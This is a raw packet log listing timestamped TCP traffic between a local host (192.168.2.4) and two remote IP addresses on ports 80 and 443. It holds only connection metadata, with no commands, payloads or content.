Sep 11, 2024 22:52:10.077795982 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.077828884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.077862978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.077883959 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.077889919 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.077919006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.077939987 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.077970028 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.077972889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078005075 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078025103 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078054905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078058958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078087091 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078109980 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078133106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078156948 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078187943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078208923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078233004 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078237057 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078264952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078285933 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078295946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078306913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078329086 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078344107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078358889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078383923 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078392029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078424931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078428984 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078448057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078457117 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078474045 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078490019 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078505039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078531027 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078536034 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078577995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078578949 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078612089 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078627110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078644991 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078655005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078676939 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078687906 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078708887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078725100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078752995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078758955 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078790903 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078813076 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078835964 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078840017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078871965 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078891039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078902960 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078921080 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078933954 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078958035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078967094 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.078983068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.078999043 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079022884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079031944 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079047918 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079063892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079082966 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079096079 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079112053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079127073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079144001 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079159975 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079179049 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079190969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079209089 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079226971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079233885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079261065 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079276085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079310894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079313993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079341888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079359055 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079375029 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079400063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079427958 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079427958 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079459906 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079480886 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079494953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079516888 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079529047 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079555035 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079560995 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079580069 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079593897 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079611063 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079626083 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079641104 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079662085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079674959 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079694033 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079714060 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079726934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079737902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079757929 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079775095 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079790115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079807997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079823017 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079840899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079855919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079869986 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079886913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079904079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079919100 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079935074 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079951048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079968929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.079982996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.079998970 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080015898 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080039024 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080048084 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080061913 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080080986 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080095053 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080113888 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080135107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080146074 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080157995 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080178976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080193996 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080209970 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080229044 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080245972 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080262899 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080277920 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080300093 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080313921 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.080322981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.080362082 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.081914902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.081943989 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.081974983 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.082048893 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.082077026 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.087023020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.227143049 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.227231979 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.273443937 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.278552055 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.412374020 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.412440062 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.412444115 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.412476063 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.412491083 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.412520885 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.414661884 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.419764996 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.548755884 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.548835993 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.608387947 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.608444929 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.613589048 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.613652945 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.613715887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.613787889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.613847017 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.618782997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.618810892 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.618839025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.618841887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.618870974 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.618881941 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.618908882 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.618932962 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.623781919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.623810053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.623843908 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.623877048 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.623888969 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.623939037 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.623954058 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.624020100 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.628844976 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.628873110 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.628963947 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.628990889 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.629046917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.629084110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.629132032 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.629159927 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.629189968 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.629190922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.629221916 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.629255056 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634036064 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634097099 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634141922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634196997 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634213924 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634265900 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634275913 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634325981 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634337902 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634371042 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634393930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634417057 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634475946 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634504080 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634526014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634552002 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634594917 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634620905 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634639978 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634648085 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634677887 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.634679079 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634699106 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.634727955 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639044046 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639095068 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639163971 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639190912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639214039 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639220953 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639238119 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639264107 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639450073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639478922 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639496088 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639519930 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639528036 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639554977 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639575005 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639581919 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639599085 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639627934 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639631033 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639655113 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639674902 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639697075 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639834881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639862061 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639880896 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639889002 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639911890 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639915943 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639931917 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639941931 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639967918 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.639969110 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.639990091 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.640014887 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.644234896 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644248009 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644284010 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.644304991 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.644316912 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644330025 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644567966 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644666910 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644679070 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644720078 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644732952 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644773006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644785881 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644970894 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644983053 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.644995928 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.645159006 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.645173073 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.645200014 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.649136066 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.649224997 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.950084925 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:10.950186014 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.956069946 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:10.961540937 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:11.239793062 CEST	80	49733	45.152.113.10	192.168.2.4
Sep 11, 2024 22:52:11.239919901 CEST	49733	80	192.168.2.4	45.152.113.10
Sep 11, 2024 22:52:11.264065027 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:11.264095068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:11.264178038 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:11.270152092 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:11.270169020 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.130198002 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.130285025 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.180969954 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.181003094 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.181272030 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.181329966 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.184489965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.231400967 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.604090929 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.604186058 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.794949055 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.794960022 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.795005083 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.795216084 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.795290947 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.795382977 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.797132015 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.797152996 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.797352076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.797367096 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.797427893 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.986510038 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.986527920 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.986674070 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.986735106 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.986808062 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.988382101 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.988394976 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.988508940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.988595963 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.988647938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.990396976 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.990411997 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.990479946 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:12.990495920 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:12.990546942 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.179377079 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.179400921 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.179487944 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.179547071 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.179601908 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.179919958 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.179933071 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.179996967 CEST	49734	443	192.168.2.4	198.54.120.231
